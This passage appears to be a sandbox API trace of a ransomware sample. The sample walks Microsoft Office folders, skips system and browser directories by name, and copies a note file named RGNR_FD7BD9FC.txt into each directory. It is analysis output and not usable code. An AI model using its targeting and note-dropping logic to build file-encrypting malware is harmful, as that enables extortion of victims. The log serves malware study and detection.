ftLastWriteTime.dwLowDateTime=0x81aec580, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.489] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89d65b60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89d65b60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0093.489] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89d65b60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89d65b60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0093.489] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81aec580, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81aec580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0093.489] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x31 [0093.489] lstrcpyW (in: lpString1=0x1ec0f4, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0093.489] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\RGNR_FD7BD9FC.txt") returned=".txt" [0093.489] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0093.489] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81aec580, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81aec580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0093.489] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0093.489] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 14", cAlternateFileName="DOCUME~1")) returned 1 [0093.489] lstrcmpiW (lpString1="Document Themes 14", lpString2=".") returned 1 [0093.489] lstrcmpiW (lpString1="Document Themes 14", lpString2="..") returned 1 [0093.489] lstrcmpiW (lpString1="Document Themes 14", lpString2="Windows") returned -1 [0093.489] lstrcmpiW (lpString1="Document Themes 14", lpString2="Windows.old") returned -1 [0093.489] lstrcmpiW (lpString1="Document Themes 14", lpString2="Tor browser") returned -1 [0093.489] lstrcmpiW (lpString1="Document Themes 14", lpString2="Internet Explorer") returned -1 [0093.489] lstrcmpiW (lpString1="Document Themes 14", lpString2="Google") returned -1 [0093.489] lstrcmpiW (lpString1="Document Themes 14", lpString2="Opera") returned -1 [0093.489] lstrcmpiW (lpString1="Document Themes 14", lpString2="Opera Software") returned -1 [0093.489] lstrcmpiW (lpString1="Document Themes 14", lpString2="Mozilla") returned -1 [0093.489] lstrcmpiW (lpString1="Document Themes 14", lpString2="Mozilla Firefox") returned -1 [0093.489] lstrcmpiW (lpString1="Document Themes 14", lpString2="$Recycle.Bin") returned 1 [0093.489] lstrcmpiW (lpString1="Document Themes 14", lpString2="ProgramData") returned -1 [0093.489] lstrcmpiW (lpString1="Document Themes 14", lpString2="All Users") returned 1 [0093.489] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x29 [0093.489] lstrcpyW (in: lpString1=0x1ecbbc, lpString2="Document Themes 14" | out: lpString1="Document Themes 14") returned="Document Themes 14" [0093.489] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0093.489] lstrcpyW (in: lpString1=0x1ec964, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0093.489] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\RGNR_FD7BD9FC.txt" [0093.489] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0093.495] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*" [0093.495] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ebc84, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0093.495] lstrcpyW (in: lpString1=0x1eba7c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0093.495] lstrcpyW (in: lpString1=0x1ebcf6, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0093.495] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89f7aea0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89f7aea0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0093.496] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0093.496] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89f7aea0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89f7aea0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.496] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0093.496] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0093.496] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd0aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.thmx", cAlternateFileName="ADJACE~1.THM")) returned 1 [0093.496] lstrcmpiW (lpString1="Adjacency.thmx", lpString2=".") returned 1 [0093.496] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="..") returned 1 [0093.496] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f9d200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f9d200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x11098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.thmx", cAlternateFileName="ANGLES~1.THM")) returned 1 [0093.496] lstrcmpiW (lpString1="Angles.thmx", lpString2=".") returned 1 [0093.496] lstrcmpiW (lpString1="Angles.thmx", lpString2="..") returned 1 [0093.496] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda5e100, ftCreationTime.dwHighDateTime=0x1cbded8, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfda5e100, ftLastWriteTime.dwHighDateTime=0x1cbded8, nFileSizeHigh=0x0, nFileSizeLow=0x3f427, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.thmx", cAlternateFileName="APEX~1.THM")) returned 1 [0093.496] lstrcmpiW (lpString1="Apex.thmx", lpString2=".") returned 1 [0093.497] lstrcmpiW (lpString1="Apex.thmx", lpString2="..") returned 1 [0093.497] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.thmx", cAlternateFileName="APOTHE~1.THM")) returned 1 [0093.497] lstrcmpiW (lpString1="Apothecary.thmx", lpString2=".") returned 1 [0093.497] lstrcmpiW (lpString1="Apothecary.thmx", lpString2="..") returned 1 [0093.497] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1396800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1396800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x109e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.thmx", cAlternateFileName="ASPECT~1.THM")) returned 1 [0093.497] lstrcmpiW (lpString1="Aspect.thmx", lpString2=".") returned 1 [0093.497] lstrcmpiW (lpString1="Aspect.thmx", lpString2="..") returned 1 [0093.497] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4067b900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4067b900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1763b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.thmx", cAlternateFileName="AUSTIN~1.THM")) returned 1 [0093.497] lstrcmpiW (lpString1="Austin.thmx", lpString2=".") returned 1 [0093.497] lstrcmpiW (lpString1="Austin.thmx", lpString2="..") returned 1 [0093.497] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668d5900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x668d5900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9ff03, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.thmx", cAlternateFileName="BLACKT~1.THM")) returned 1 [0093.497] lstrcmpiW (lpString1="Black Tie.thmx", lpString2=".") returned 1 [0093.497] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="..") returned 1 [0093.497] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccef00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4ccef00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x18c11, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.thmx", cAlternateFileName="CIVIC~1.THM")) returned 1 [0093.497] lstrcmpiW (lpString1="Civic.thmx", lpString2=".") returned 1 [0093.497] lstrcmpiW (lpString1="Civic.thmx", lpString2="..") returned 1 [0093.497] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fb4000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x43fb4000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x105f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.thmx", cAlternateFileName="CLARIT~1.THM")) returned 1 [0093.497] lstrcmpiW (lpString1="Clarity.thmx", lpString2=".") returned 1 [0093.497] lstrcmpiW (lpString1="Clarity.thmx", lpString2="..") returned 1 [0093.497] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a20e000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a20e000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8ad4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.thmx", cAlternateFileName="COMPOS~1.THM")) returned 1 [0093.497] lstrcmpiW (lpString1="Composite.thmx", lpString2=".") returned 1 [0093.497] lstrcmpiW (lpString1="Composite.thmx", lpString2="..") returned 1 [0093.497] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8607600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8607600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1240d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.thmx", cAlternateFileName="CONCOU~1.THM")) returned 1 [0093.497] lstrcmpiW (lpString1="Concourse.thmx", lpString2=".") returned 1 [0093.497] lstrcmpiW (lpString1="Concourse.thmx", lpString2="..") returned 1 [0093.497] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee59400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6ee59400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e92c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.thmx", cAlternateFileName="COUTUR~1.THM")) returned 1 [0093.497] lstrcmpiW (lpString1="Couture.thmx", lpString2=".") returned 1 [0093.497] lstrcmpiW (lpString1="Couture.thmx", lpString2="..") returned 1 [0093.497] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73aa4800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73aa4800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x555df, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.thmx", cAlternateFileName="ELEMEN~1.THM")) returned 1 [0093.497] lstrcmpiW (lpString1="Elemental.thmx", lpString2=".") returned 1 [0093.497] lstrcmpiW (lpString1="Elemental.thmx", lpString2="..") returned 1 [0093.497] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10f61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.thmx", cAlternateFileName="EQUITY~1.THM")) returned 1 [0093.497] lstrcmpiW (lpString1="Equity.thmx", lpString2=".") returned 1 [0093.497] lstrcmpiW (lpString1="Equity.thmx", lpString2="..") returned 1 [0093.497] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478ec700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x478ec700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.thmx", cAlternateFileName="ESSENT~1.THM")) returned 1 [0093.498] lstrcmpiW (lpString1="Essential.thmx", lpString2=".") returned 1 [0093.498] lstrcmpiW (lpString1="Essential.thmx", lpString2="..") returned 1 [0093.498] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773dcf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x773dcf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.thmx", cAlternateFileName="EXECUT~1.THM")) returned 1 [0093.498] lstrcmpiW (lpString1="Executive.thmx", lpString2=".") returned 1 [0093.498] lstrcmpiW (lpString1="Executive.thmx", lpString2="..") returned 1 [0093.498] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11e9de00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11e9de00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x100a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.thmx", cAlternateFileName="FLOW~1.THM")) returned 1 [0093.498] lstrcmpiW (lpString1="Flow.thmx", lpString2=".") returned 1 [0093.498] lstrcmpiW (lpString1="Flow.thmx", lpString2="..") returned 1 [0093.498] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe565700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe565700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xf814, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.thmx", cAlternateFileName="FOUNDR~1.THM")) returned 1 [0093.498] lstrcmpiW (lpString1="Foundry.thmx", lpString2=".") returned 1 [0093.498] lstrcmpiW (lpString1="Foundry.thmx", lpString2="..") returned 1 [0093.498] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b224e00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4b224e00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.thmx", cAlternateFileName="GRID~1.THM")) returned 1 [0093.498] lstrcmpiW (lpString1="Grid.thmx", lpString2=".") returned 1 [0093.498] lstrcmpiW (lpString1="Grid.thmx", lpString2="..") returned 1 [0093.498] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x60041, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.thmx", cAlternateFileName="HARDCO~1.THM")) returned 1 [0093.498] lstrcmpiW (lpString1="Hardcover.thmx", lpString2=".") returned 1 [0093.498] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="..") returned 1 [0093.498] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad15600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ad15600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3becb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.thmx", cAlternateFileName="HORIZO~1.THM")) returned 1 [0093.498] lstrcmpiW (lpString1="Horizon.thmx", lpString2=".") returned 1 [0093.498] lstrcmpiW (lpString1="Horizon.thmx", lpString2="..") returned 1 [0093.498] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157d6500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x157d6500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x146a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.thmx", cAlternateFileName="MEDIAN~1.THM")) returned 1 [0093.498] lstrcmpiW (lpString1="Median.thmx", lpString2=".") returned 1 [0093.498] lstrcmpiW (lpString1="Median.thmx", lpString2="..") returned 1 [0093.498] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1910ec00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1910ec00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x13af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.thmx", cAlternateFileName="METRO~1.THM")) returned 1 [0093.498] lstrcmpiW (lpString1="Metro.thmx", lpString2=".") returned 1 [0093.498] lstrcmpiW (lpString1="Metro.thmx", lpString2="..") returned 1 [0093.498] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1583a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.thmx", cAlternateFileName="MODULE~1.THM")) returned 1 [0093.498] lstrcmpiW (lpString1="Module.thmx", lpString2=".") returned 1 [0093.498] lstrcmpiW (lpString1="Module.thmx", lpString2="..") returned 1 [0093.498] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e64dd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, 